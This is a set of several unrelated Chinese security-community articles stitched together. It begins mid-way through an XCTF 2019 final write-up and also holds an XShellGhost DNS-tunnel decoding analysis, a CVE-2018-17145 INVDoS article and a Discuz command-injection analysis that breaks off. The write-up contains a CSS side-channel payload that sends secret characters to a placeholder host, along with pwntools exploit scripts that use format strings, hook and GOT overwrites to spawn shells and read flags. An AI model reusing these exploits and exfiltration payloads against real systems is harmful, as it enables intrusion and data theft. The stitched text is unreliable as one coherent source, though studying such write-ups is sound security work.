根据 CSS 标准：<https://www.w3.org/TR/css-syntax-3/#error-handling>
CSS 会忽略所有的不正确的语法，就像这些东西从来没有存在过一样。因此，我们只需要换行，就可以让整个import 无效。
让我们再往下看一下，CSS 如何换行：<https://www.w3.org/TR/css-syntax-3/#newline-diagram>
其支持：%0a、%0d、%0f。%0a 会被Web服务器吃掉，因此使用 %0d 和 %0f 都可以逃逸出@import，从而实现执行任意 CSS 样式。
仔细读一下源码，就会发现，我们这题的目标是拿到这儿的 secret。
大家都知道，CSS 可以很容易地匹配到 attr，但是提取 content 就比较难了。CSS3
标准曾经有“:content”伪类，不过后来被删除，没进入正式标准，也没有浏览器支持它。因此，要得到这个值，只能使用一些Side-channel的非常规手段。CSS
的话，包括动画、字体等都是比较有效的侧信道攻击方案。不过，对于动画，我暂时想不到什么比较合适的方案；但是字体则可以利用“连字（Ligature）”进行侧信道。
我最早的思路是：
@font-face {
font-family: ligature;
src: url(xxxxx);
}
@font-face {
font-family: normal;
src: url(xxxxx);
}
script {
display: block;
font-family: "ligature", "normal";
}
构造一个连字字体，这个字体内只有“xctf”四个字符，如果浏览器只加载了这个字体，未加载normal字体，则证明页面内存在且 **仅存在**
“xctf”这四个字符。否则，则会加载normal字体。后发现该思路不对，因为script标签内字符实在太多，无法这么处理。
在这之后，我进行了一番搜索。查找到相关的一篇波兰语文章（别问我怎么搜到的.jpg）：<https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/> 。
这篇文章的大致思路是：
1. 构造一个字体，把所有字符的宽度都设置为0。
2. 把「xctf」的宽度设置为10000。
3. 当页面里出现「xctf」的时候，就会出现滚动条。
4. 在滚动条的样式里，通过`background: url()`发送请求。
5. 逐位爆破。
不过，原文的payload过于复杂，利用了包括缓存、二分爆破等一系列技术，实在是不好利用，我也没跑通。因此，我自己基于文章内提供的fontforge脚本重新写了一份payload。
首先是需要一个Nodejs Server（同原文），这个Server用于动态生成字体：
script.fontforge:
#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")
index.js
➜ cat index.js
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 23460;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');
// Generujemy fonta dla zadanego przedrostka
// i znaków, dla których ma zostać utworzona ligatura.
function createFont(prefix, charsToLigature) {
let font = {
"defs": {
"font": {
"@": {
"id": "hack",
"horiz-adv-x": "0"
},
"font-face": {
"@": {
"font-family": "hack",
"units-per-em": "1000"
}
},
"glyph": []
}
}
};
// Domyślnie wszystkie możliwe znaki mają zerową szerokość...
let glyphs = font.defs.font.glyph;
for (let c = 0x20; c <= 0x7e; c += 1) {
const glyph = {
"@": {
"unicode": String.fromCharCode(c),
"horiz-adv-x": "0",
"d": "M1 0z",
}
};
glyphs.push(glyph);
}
console.log(prefix + (charsToLigature).toString())
// ... za wyjątkiem ligatur, które są BARDZO szerokie.
charsToLigature.forEach(c => {
const glyph = {
"@": {
"unicode": prefix + c,
"vert-adv-y": "10000",
"horiz-adv-x": "10000",
"d": "M0 10000,v 0 10000z",
}
}
glyphs.push(glyph);
});
// Konwertujemy JSON-a na SVG.
const xml = js2xmlparser.parse("svg", font);
// A następnie wykorzystujemy fontforge
// do zamiany SVG na WOFF.
const tmpobj = tmp.dirSync();
fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
child_process.spawnSync("/usr/bin/fontforge", [
`${__dirname}/script.fontforge`,
`${tmpobj.name}/font.svg`
]);
const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);
// Usuwamy katalog tymczasowy.
rimraf.sync(tmpobj.name);
// I zwracamy fonta w postaci WOFF.
return woff;
}
// Endpoint do generowania fontów.
app.get("/font/:prefix/:charsToLigature", (req, res) => {
const { prefix, charsToLigature } = req.params;
// Dbamy o to by font znalazł się w cache'u.
res.set({
'Cache-Control': 'public, max-age=600',
'Content-Type': 'application/font-woff',
'Access-Control-Allow-Origin': '*',
});
res.send(createFont(prefix, Array.from(charsToLigature)));
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
index.html:
<script>
//const chars = ['t','f']
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('')
let ff = [], data = ''
let prefix = 'xctf{dobra_robota_jestes_mistrzem_CSS}'
chars.forEach(c => {
var css = ''
css = '?theme=../../../../\fa{}){}'
css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://xxxx:23459/?${encodeURIComponent(prefix+c)})}`
css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://xxxxx:23460/font/${prefix}/${c});}`
css += `script{font-family:a${c.charCodeAt()};display:block}`
document.write('<iframe scrolling=yes samesite src="http://noxss.cal1.cn:60080/account/userinfo?theme=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>')
})
</script>
原理：
1. 将页面宽度设置为100000px，保证不会出现滚动条；
2. 隐藏页面内所有元素，然后将script标签显示出来；
3. 为script标签设置字体，如果匹配到了对应字符，则显示滚动条；
4. 通过滚动条接收当前字符。
把这个页面的URL直接交给bot，即可接收到一位的flag。之后逐位爆破即可。效果如图：
# pwn
## fault
感谢 **r3kapig** 的大佬们带来的精彩比赛
看了流量才找到洞。。
加密函数：
add_round_key((__int64)v15, v9, 0);
for ( k = 1; k < round; ++k )
{
if ( k == 8 )
v15[v7] ^= v8; //!!!
subBytes((__int64)v15);
shiftRows((__int64)v15);
mixColums((__int64)v15);
add_round_key((__int64)v15, v9, k);
}
subBytes((__int64)v15);
shiftRows((__int64)v15);
add_round_key((__int64)v15, v9, round);
可以看到这里有个`v15[v7] ^= v8`,`v7`和`v8`是传进来的参数，然而在解密函数里可以覆盖到这两个的值，于是可以利用这个把
────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
RAX 0x20
RBX 0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */
RCX 0xc0
RDX 0x7fff5b1ae910 ◂— 0xaa63df0da959514d
RDI 0x7fff5b1ae910 ◂— 0xaa63df0da959514d
RSI 0x20
R8 0x20
R9 0x10
R10 0x0
R11 0x10
R12 0x0
R13 0x7fff5b1aeac0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fff5b1ae970 —▸ 0x7fff5b1ae9c0 —▸ 0x7fff5b1ae9e0 —▸ 0x56105a45f340 ◂— push r15
RSP 0x7fff5b1ae910 ◂— 0xaa63df0da959514d
RIP 0x56105a45f004 ◂— mov byte ptr [rdx + rax], cl
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x56105a45f004 mov byte ptr [rdx + rax], cl
0x56105a45f007 mov rax, qword ptr [rbp - 0x20]
0x56105a45f00b mov rdi, rax
0x56105a45f00e call 0x56105a45e886
0x56105a45f013 mov rax, qword ptr [rbp - 0x20]
0x56105a45f017 mov rdi, rax
0x56105a45f01a call 0x56105a45e6b5
0x56105a45f01f mov rax, qword ptr [rbp - 0x20]
0x56105a45f023 mov rdi, rax
0x56105a45f026 call 0x56105a45e4b9
0x56105a45f02b movzx edx, byte ptr [rbp - 0x29]
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rdx rdi rsp 0x7fff5b1ae910 ◂— 0xaa63df0da959514d
01:0008│ 0x7fff5b1ae918 ◂— 0x62bfb8152eb4f9cb
02:0010│ rbx 0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */
03:0018│ 0x7fff5b1ae928 —▸ 0x56105acb10b0 ◂— 0xb9a433d31f71aaa1
04:0020│ 0x7fff5b1ae930 —▸ 0x56105a6613e0 ◂— 0xfcca81e5fb28c9b3 !!!!
05:0028│ 0x7fff5b1ae938 —▸ 0x56105a6613d0 ◂— 0x34b1fca7a4f6bb23
06:0030│ 0x7fff5b1ae940 ◂— 0x80404ff5b1ae970
我标感叹号的那个地址指向`key`，后续的操作会把`key`值修改，最后还会把加密后的内容输出，输出的内容和`key`是一样的，这样就拿到了`key`了，但是要加密一样的字符串两次才可以，对密码学这个不是很熟悉，误打误撞吧，我太菜了
from pwn import *
context.arch='amd64'
def cmd(command):
p.recvuntil(">",timeout=0.5)
p.sendline(command)
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./origin_fault")
gdb.attach(p)
# debug(0x0000000000003004)
cmd('e')
p.sendline("00"*0x10)
cmd('e')
p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
cmd('d')
payload1 = "5658a9ced4f5415d3e85e2e879d464405658a9ced4f5415d3e85e2e879d46440"
payload2 = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
p.sendline(payload1)
p.sendline(payload2)
cmd('e')
p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
p.recvuntil("e:encryp",drop=True)
p.recvuntil(">")
key = p.recvuntil("e:encryp",drop=True)
info(key)
cmd('s')
p.sendline(key)
flag = p.recv(0x3c,timeout=0.5)
info(flag)
p.interactive()
if __name__ == "__main__":
main(args['REMOTE'])
## hannota
第二天说没有流量了。。。。。其实内心是有点慌的
只找到了两个漏洞
一个是`login`函数的堆溢出
v14 = __readfsqword(0x28u);
src = 0LL;
printf("please enter user token length : ");
size = get_int();
if ( size <= 0xFF )
{
printf("please enter user token: ");
token = malloc(size);
read_n(token, 0x100uLL);
strcpy(dest, ROOM_PATH);
n = strlen(dest);
另一个是`play from console`的`show`有个格式化字符串
unsigned __int64 sub_243B()
{
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v2; // [rsp+118h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("We will receive input from the terminal");
printf("E.g :");
read(0, &buf, 0x100uLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}
我用的是这里的格式化字符串，一开始修的时候把`printf`改成了`puts`，`check`没过，改成了`printf("%s",buf);`,还是没过，赛后问了阿鹏师傅，应该改为`write(1,buf,strlen(buf));`这样的，orz
格式化字符串的`exp`为
from pwn import *
context.arch='amd64'
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def cmd(command):
p.recvuntil(">>> ",timeout=0.5)
p.sendline(str(command))
def fmtstr(offset, addr, data, written):
cnt = 0
payload = ''
address = ''
for x in data:
cur = ord(x)
if cur >= written&0xff:
to_add = cur - (written&0xff)
else:
to_add = 0x100 + cur - (written&0xff)
round = ''
if to_add != 0:
round += "%{}c".format(to_add)
round += "%{}$hhn".format(offset+cnt+len(data)*2)
assert(len(round) <= 0x10)
written += to_add + 0x10 - len(round)
payload += round.ljust(0x10, '_')
address += p64(addr+cnt)
cnt+=1
return payload + address
def ca(tl,t,nl,n,pl,pa):
cmd(1)
p.recvuntil("please enter user token length : ")
p.sendline(str(tl))
p.recvuntil("please enter user token: ")
p.sendline(t)
p.recvuntil("please enter user name length : ")
p.sendline(str(nl))
p.recvuntil("please enter user name: ")
p.sendline(n)
p.recvuntil("please enter user password length : ")
p.sendline(str(pl))
p.recvuntil("please enter user password: ")
p.sendline(pa)
def login(tl,t,pl,pa):
cmd(0)
p.recvuntil("please enter user token length : ")
p.sendline(str(tl))
p.recvuntil("please enter user token: ")
p.sendline(t)
p.recvuntil("please enter user password length : ")
p.sendline(str(pl))
p.recvuntil("please enter user password : ")
p.sendline(pa)
def add_pl(type):
cmd(0)
cmd(type)
def show(idx):
cmd(2)
p.recvuntil("index : ")
p.sendline(str(idx))
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./hannota")
# p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
# gdb.attach(p)
debug(0x00000000000024A1)
ca(0x20,"AA",0x20,"AA",0x20,"AA")
ca(0x20,"AA",0x20,"AA",0x20,"AA")
login(0x20,"AA",0x20,"AA")
add_pl(0)
show(0)
p.recvuntil("E.g :")
p.sendline("%p%p-%p-%p-%p-%p-%p%p%p%p%p*%p*")
p.recvuntil('-')
libc.address = int(p.recvuntil("-",drop=True),16)-0x110081
info("libc : " + hex(libc.address))
p.recvuntil('*')
stack = int(p.recvuntil("*",drop=True),16)
info("stack : " + hex(stack))
ret_addr = stack+0x8
payload = fmtstr(8,ret_addr,p64(libc.address+0x4f2c5)[:6],0)
show(0)
p.recvuntil("E.g :")
p.send(payload)
sleep(0.1)
p.sendline("cat flag")
p.recv(timeout=0.5)
flag = p.recvuntil("\n",timeout=0.5)
info(flag)
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
main(args['REMOTE'])
## pointer_guard
逐渐变难的一题
* 一开始5次地址写，1次`libc`里的任意函数`call`，参数还是可控的，那自然就`system("/bin/sh")`和`execve("/bin/sh",0,0)`了
from pwn import *
context.arch='amd64'
def cmd(command):
p.recvuntil(">",timeout=0.5)
p.sendline(command)
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./pwn")
# p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
gdb.attach(p)
# debug(0x0000000000000A69)
p.recvuntil("binary_base=")
elf.address = int(p.recvuntil("\n",drop=True),16)
info("elf : " + hex(elf.address))
p.recvuntil("libc_base=")
libc.address = int(p.recvuntil("\n",drop=True),16)
info("libc : " + hex(libc.address))
p.recvuntil("stack_base=")
stack = int(p.recvuntil("\n",drop=True),16)
info("stack : " + hex(stack))
for i in range(4):
p.recvuntil("Addr:")
p.sendline(str(stack))
p.recvuntil("Value:")
p.sendline(str(1))
p.recvuntil("Addr:")
p.sendline(str(elf.address+0x203210))
p.recvuntil("Value:")
p.sendline(str(u64('/bin/sh\x00')))
p.recvuntil("Trigger!")
# system
# p.sendline("system")
# p.sendline("1")
# p.sendline(str(stack+0x54))
# execve
p.sendline("execve")
p.sendline("3")
p.sendline(str(stack+0x54))
p.sendline("0")
p.sendline("0")
p.sendline("cat flag")
p.recv(timeout=0.5)
flag = p.recvuntil("\n",timeout=0.5)
info(flag)
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
elf = ELF("./pwn",checksec=False)
main(args['REMOTE'])
* 然后变成了一次任意地址写，一次`libc`任意函数`call`，但是参数不可控，那就写那些`hook`吧，`__free_hook`,`__malloc_hook`,`__memalign_hook`,`__realloc_hook`都试一试
这里贴个`__free_hook`的，其它的类似
p.recvuntil("Addr:")
p.sendline(str(libc.symbols["__free_hook"]))
p.recvuntil("Value:")
p.sendline(str(libc.address+0x10a38c))
p.recvuntil("Trigger!")
p.sendline("free")
p.sendline("0\x00"+"\x00"*90)
p.sendline("cat flag")
p.recv(timeout=0.5)
flag = p.recvuntil("\n",timeout=0.5)
info(flag)
* 然后是两次地址写
for ( i = 0; (unsigned __int64)i < 2; ++i )
{
puts("Addr:");
v3 = (_QWORD *)sub_DB1();
puts("Value:");
v4 = sub_DB1();
sub_1498(v3, v4);
}
if ( !dlopen("libc.so.6", 1) )
{
v5 = dlerror();
fprintf(stderr, "%s\n", v5);
exit(1);
}
因为`dlopen`会调用`malloc`函数，所以就修改`__malloc_hook`和`__realloc_hook`来`getshell`
p.recvuntil("Addr:")
p.sendline(str(libc.symbols["__realloc_hook"]))
p.recvuntil("Value:")
p.sendline(str(libc.address+0x10a38c))
p.recvuntil("Addr:")
p.sendline(str(libc.symbols["__malloc_hook"]))
p.recvuntil("Value:")
p.sendline(str(libc.symbols["realloc"]+8))
* 最后只有一次地址写了
for ( i = 0; (unsigned __int64)i < 1; ++i )
{
puts("Addr:");
v3 = (_QWORD *)sub_DB1();
puts("Value:");
v4 = sub_DB1();
sub_1498(v3, v4);
}
if ( !dlopen("libc.so.6", 1) )
{
v5 = dlerror();
fprintf(stderr, "%s\n", v5);
exit(1);
}
我在`_dlerror_run`里找到了`call _dl_catch_error@plt`
0x7ff6fbcf6726 <_dlerror_run+86> lea rdi, [rbx + 0x10]
0x7ff6fbcf672a <_dlerror_run+90> mov r8, r12
0x7ff6fbcf672d <_dlerror_run+93> mov rcx, rbp
► 0x7ff6fbcf6730 <_dlerror_run+96> call _dl_catch_error@plt <0x7ff6fbcf5d90>
rdi: 0x7ff6fbef80f0 (last_result+16) ◂— 0x0
rsi: 0x7ff6fbef80f8 (last_result+24) ◂— 0x0
rdx: 0x7ff6fbef80e8 (last_result+8) ◂— 0x0
rcx: 0x7ff6fbcf5f40 (dlopen_doit) ◂— push rbx
既然是`plt`的话，那就可以修改`GOT`表来劫持流程了
► 0x7ff6fbcf5d90 <_dl_catch_error@plt> jmp qword ptr [rip + 0x2022a2] <0x7ff6fbef8038>
0x7ff6fbcf5d96 <_dl_catch_error@plt+6> push 4
0x7ff6fbcf5d9b <_dl_catch_error@plt+11> jmp 0x7ff6fbcf5d40
↓
0x7ff6fbcf5d40 push qword ptr [rip + 0x2022c2] <0x7ff6fbef8008>
0x7ff6fbcf5d46 jmp qword ptr [rip + 0x2022c4] <0x7ff6fba0e38c>
pwndbg> telescope 0x5f4010+0x7f3cf530b000
00:0000│ 0x7f3cf58ff010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f3cf5917750 (_dl_runtime_resolve_xsavec)
可以看到有两处地方都用到了`GOT`表，所以都试一试改为`one_gadget`，结果本地都不行，但是打远程的时候通了，打通的是把`_dl_runtime_resolve_xsavec`的`GOT`改为`one_gadget`，这运气没谁了，晚上回去的时候又去试了下本地，居然又可以了。。。
p.recvuntil("Addr:")
p.sendline(str(libc.address+0x5f4010))
p.recvuntil("Value:")
p.sendline(str(libc.address+0x10a38c))
## tnj
这题的话还是看丁佬的 github 吧，膜丁佬。
<https://github.com/Escapingbug/xctf-2019-final-tnj> | 社区文章 |
# 【木马分析】天眼实验室权威发布：XShell后门DNS Tunnel编码分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
XShellGhost通过DNS Tunnel把打点的数据传上去，分析了下编码算法，对数据进行了解密。
**编码分析**
****
DNS Tunnel的编码算法是先经过下图的算法1编码;如图：
待编码的数据单字节和一个每4次运算一次的DWORD常量的1,2,3,4字节进行单字节运算来编码，如下：
算法1编码后的数据如下：
然后把结果转换成可见的字符转换方法是通过每个字节的高位加‘j’低位加‘a’，把1个字节拆分成2个字节的可见字符，这样就浪费了一个字节：
解密算法是加密算法的逆运算，解密算法流程如下图：
解密的单条数据的HEX如下：
根据网上的一些公开的流量数据，
解密出的一些上传的数据：
解密代码如下：
int DecodeSecond(int a1, unsigned char* a2, int a3, int a4, unsigned char* szOut)
{
char v4; // cl@1
int v5; // esi@1
unsigned char* v6; // edi@2
byte v7[1024]= {0}; // eax@11
char v8; // dl@11
int v10; // [sp+4h] [bp-10h]@1
int v11; // [sp+8h] [bp-Ch]@1
int v12; // [sp+Ch] [bp-8h]@1
int v13; // [sp+10h] [bp-4h]@1
v4 = 0;
v5 = 0;
v10 = a1;
v11 = a1;
v12 = a1;
v13 = a1;
int i = 0;
if ( a3 > 0 )
{
v6 = a2 - a4;
do
{
if ( v5 & 3 )
{
switch ( v5 & 3 )
{
case 1:
v11 = 0xBFD7681A - 0x7DB1F70F * v11;
v4 = (*((byte *)&v11 + 2) ^ (*((byte *)&v11 + 1)
+ (*((byte *)&v11) ^ v4)))
- *((byte *)&v11 + 3);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
break;
case 2:
v12 = 0xE03A30FA - 0x3035D0D6 * v12;
v4 = (*((byte *)&v12 + 2) ^ (*((byte *)&v12 + 1)
+ (*((byte *)&v12) ^ v4)))
- *((byte *)&v12 + 3);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
break;
case 3:
v13 = 0xB1BF5581 - 0x11C208F * v13;
v4 = (*((byte *)&v13 + 2) ^ (*((byte *)&v13 + 1)
+ (*((byte *)&v13) ^ v4)))
- *((byte *)&v13 + 3);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
break;
}
}
else
{
v10 = 0x9F248E8A - 0x2F8FCE7E * v10;
v4 = (*((byte *)&v10 + 2) ^ (*((byte *)&v10 + 1)
+ (*((byte *)&v10 ) ^ v4)))
- *((byte *)&v10 + 3);
v8 = v4 ^ *(byte *)(v6 + v5++ + a4);
v7[i] = v8;
i++;
}
}
while ( v5 < a3 );
memcpy(szOut, v7, a3);
}
return 0;
}
void DecodeFirst(unsigned char* szText)
{
int iLength = strlen((char*)szText);
int iSubLength = iLength/2;
unsigned char* szXXX = new unsigned char[iSubLength+1];
memset(szXXX, 0, iSubLength+1);
for (int i=0; i<iSubLength; i++)
{
unsigned char One = szText[2*i] - 'a';
unsigned char Two = szText[2*i+1] -'j';
unsigned char Total = One+Two*16;
szXXX[i] = Total;
}
unsigned char* szOutData = new unsigned char[iSubLength+1];
memset(szOutData, 0, iSubLength+1);
DecodeSecond(0, szXXX, iSubLength, 0, szOutData);
printf(" --------------------Decode Data--------------------------------rn");
hexdump(szOutData, iSubLength);
delete [] szOutData;
return;
}
void hexdump(void *pAddressIn, long lSize)
{
char szBuf[100];
long lIndent = 1;
long lOutLen, lIndex, lIndex2, lOutLen2;
long lRelPos;
struct { char *pData; unsigned long lSize; } buf;
unsigned char *pTmp,ucTmp;
unsigned char *pAddress = (unsigned char *)pAddressIn;
buf.pData = (char *)pAddress;
buf.lSize = lSize;
while (buf.lSize > 0)
{
pTmp = (unsigned char *)buf.pData;
lOutLen = (int)buf.lSize;
if (lOutLen > 16)
lOutLen = 16;
sprintf(szBuf, " | "
" "
" %08lX", pTmp-pAddress);
lOutLen2 = lOutLen;
for(lIndex = 1+lIndent, lIndex2 = 53-15+lIndent, lRelPos = 0;
lOutLen2;
lOutLen2--, lIndex += 2, lIndex2++
)
{
ucTmp = *pTmp++;
sprintf(szBuf + lIndex, "%02X ", (unsigned short)ucTmp);
if(!isprint(ucTmp)) ucTmp = '.'; // nonprintable char
szBuf[lIndex2] = ucTmp;
if (!(++lRelPos & 3)) // extra blank after 4 bytes
{ lIndex++; szBuf[lIndex+2] = ' '; }
}
if (!(lRelPos & 3)) lIndex--;
szBuf[lIndex ] = '|';
szBuf[lIndex+1] = ' ';
printf("%sn", szBuf);
buf.pData += lOutLen;
buf.lSize -= lOutLen;
}
}
**
**
**解密工具**
****
链接：<http://pan.baidu.com/s/1gfy4ImZ>
密码：vugv
**参考链接**
****
<http://bobao.360.cn/news/detail/4263.html> | 社区文章 |
# CVE-2018-17145：比特币INVDoS漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 invdos，文章来源：invdos.net
原文地址：<https://invdos.net/#>
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞概述
2018年6月，研究人员Braydon Fuller 在Bitcoin Core 中发现了一个安全漏洞——INVDoS
漏洞，CVE编号为`CVE-2018-17145`。该漏洞为Inventory
内存溢出DoS漏洞，属于DoS攻击漏洞的一种。攻击者利用该漏洞可以创建伪造的比特币交易，当比特币区块链节点处理该交易时回引发服务器内存资源不受控制的消耗，最终使得系统奔溃。
漏洞修复后研究人员选择不公开漏洞细节，以预防潜在的漏洞利用。上周，有其他研究人员独立发现了该漏洞，随后研究人员将漏洞细节公开。
## 攻击技术细节
恶意节点可以通过快速发送多个含有随机哈希值的交易inv消息来发起攻击，最多发起`49999`项，但不发送对应的`tx`数据。当多个节点同时发起攻击时可以加速攻击并升级为DDoS
攻击。当连接速度为1Gbps (125 MB/s) 时，每秒钟可以发送含有`49999`项的`83`个`inv`消息，也就是说攻击的最大速度为每秒钟
`4166584 inv` 项。
### Bcoin细节
比特币中的漏洞来源于用来追踪节点inventory
的`Map`的大小可以没有限制的增加，但是有一个基于时间的限制在节点拖延和没有响应时可以清空txMap。如果有足够的`inventor`哈希值在`timeout`
检查前被发送，内存就会快速增长并引发进程奔溃。P2P 网络消息也可以通过暴露的代码路径 `handlePacket -> handleInv ->
handleTXInv -> ensureTX -> getTX` 在没有限制的情况下增加`txMap` 内存：
getTX(peer, hashes) {
...
for (const hash of hashes) {
if (this.txMap.has(hash))
continue;
this.txMap.add(hash);
peer.txMap.set(hash, now);
...
}
...
}
该问题可以通过增加对节点txMap 大小的限制和移除超过限制的节点来解决。Christopher Jeffrey 在commit
05c38853d7f50fb4ad87e28fa7b46017f78e2955 中修复了该问题。
### Bitcoin Core细节
Bitcoin Core 中的问题更加隐蔽，位于限制类似map增长的代码中，参见`src/net processing.cpp`
中的`ProcessMessage` ：
if (vInv.size() > MAX_INV_SZ)
{
LOCK(cs_main);
Misbehaving(pfrom->GetId(), 20,
strprintf("message inv size() = %u",
vInv.size()));
return false;
}
但是程序的真实行为有所不同，从程序的行为来安似乎并没有限制，而且内存可以无限增长。该问题很容易检查，对`src/net
processing.cpp`的`ProcessMessage` 的`GetMainSignals().Inventory(inv.hash)`
没有保护的限制会使得`m callbacks pending`的大小比用来追踪事件的`SingleThreadedSchedulerClient`
的处理以更快的速度增长。漏洞源代码参见`src/validationinterface.cpp`:
void CMainSignals::Inventory(const uint256 &hash) {
m internals->m schedulerClient.AddToProcessQueue([hash, this] {
m internals->Inventory(hash);
});
}
该漏洞通过移除有漏洞的代码修复，具体参见commit beef7ec4be725beea870a2da510d2817487601ec。
### Btcd细节
Btcd将接收到的交易`inventory`项目保存在`peer.knownInventory
(peer/peer.go)`中，`peer.knownInventory` 是一个`MRU map
(mruInventoryMap)`，用来限制大小。但是`peer.knownInventory`的实例使用的`MRU
map`暴露了一个引发内存泄露的漏洞。`mruInventoryMap.Add`
中到`wire.InvVect`的指针在之后的`SyncManager.handleInvMsg` 中进行了修改。在`netsync/manager.go`
中：
if peer.IsWitnessEnabled() {
iv.Type = wire.InvTypeWitnessTx
}
当`mruInventory.Add` 尝试从`invList` 中清除`LRU` 项目时，而且不再匹配`invMap
key`，因为该对象已经改变了。因为`lru.Type !=
iv.Type`所以请除会失败。因为内存使用不断的增长，在`peer/mruinvmap.go`中：
if uint(len(m.invMap))+1 > m.limit {
node := m.invList.Back()
lru := node.Value.(*wire.InvVect)
// Evict least recently used item.
delete(m.invMap, *lru)
...
}
除了`mruInventoryMap` 外，还有2个map会保存接收到的`inventory` 哈希作为`peerSyncState:
requestedTxns` 和 `requestedBlocks` 的密钥。这些map会用来预防内存泄露。Btcd 通过转向修复的
LRU实现或转向更新版的map来修复该问题。该漏洞在7月17日通过commit
4b3f7f3c7a490151801c0aaf117befeae1c6bc1b修复。
更多漏洞技术细节参见：<https://invdos.net/#> | 社区文章 |
# Discuz! 1.5-2.5 命令执行漏洞分析(CVE-2018-14729)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞简述
### 漏洞信息
8月27号有人在GitHub上公布了有关Discuz 1.5-2.5版本中后台数据库备份功能存在的命令执行漏洞的细节。
### 漏洞影响版本
Discuz! 1.5-2.5
## 0x01 漏洞复现
官方论坛下载相应版本就好。
## 0x02 漏洞分析
需要注意的是这个漏洞其实是需要登录后台的，并且能有数据库备份权限，所以比较鸡肋。
我这边是用Discuz! 2.5完成漏洞复现的，并用此进行漏洞分析的。
漏洞点在：
source/admincp/admincp_db.php
第296行：
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($_GET['extendins'] == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $_GET['sqlcompat'] == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);
在shell_exec()函数中可控点在$tablesstr，向上看到第281行：
$tablesstr = '';
foreach($tables as $table) {
$tablesstr .= '"'.$table.'" ';
}
跟一下$table的获取流程，在上面的第143行：
if($_GET['type'] == 'discuz' || $_GET['type'] == 'discuz_uc')
{
$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
}
elseif($_GET['type'] == 'custom')
{
$tables = array();
if(empty($_GET['setup']))
{
$tables = C::t('common_setting')->fetch('custombackup', true);
}
else
{
C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
$tables = & $_GET['customtables'];
}
if( !is_array($tables) || empty($tables))
{
cpmsg('database_export_custom_invalid', '', 'error');
}
}
可以看到：
C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
$tables = & $_GET['customtables'];
首先会从$_GET的数组中获取customtables字段的内容，判断内容是否为空，不为空则将从外部获取到的customtables字段内容写入common_setting表的skey=custombackup的svalue字段，写入过程中会将这个字段做序列化存储：
之后再将该值赋给$tables。
至此可以看到漏洞产生的原因是由于shell_exec()中的$tablesstr可控，导致代码注入。
## 0x03 漏洞利用
漏洞的调用栈如下：
admin.php->source/class/discuz/discuz_admincp.php->source/admincp/admincp_db.php
跟着漏洞的调用栈看一下如何利用。
首先在admin.php中：
if(empty($action) || $frames != null) {
$admincp->show_admincp_main();
} elseif($action == 'logout') {
$admincp->do_admin_logout();
dheader("Location: ./index.php");
} elseif(in_array($action, $admincp_actions_normal) || ($admincp->isfounder && in_array($action, $admincp_actions_founder))) {
if($admincp->allow($action, $operation, $do) || $action == 'index') {
require $admincp->admincpfile($action);
} else {
cpheader();
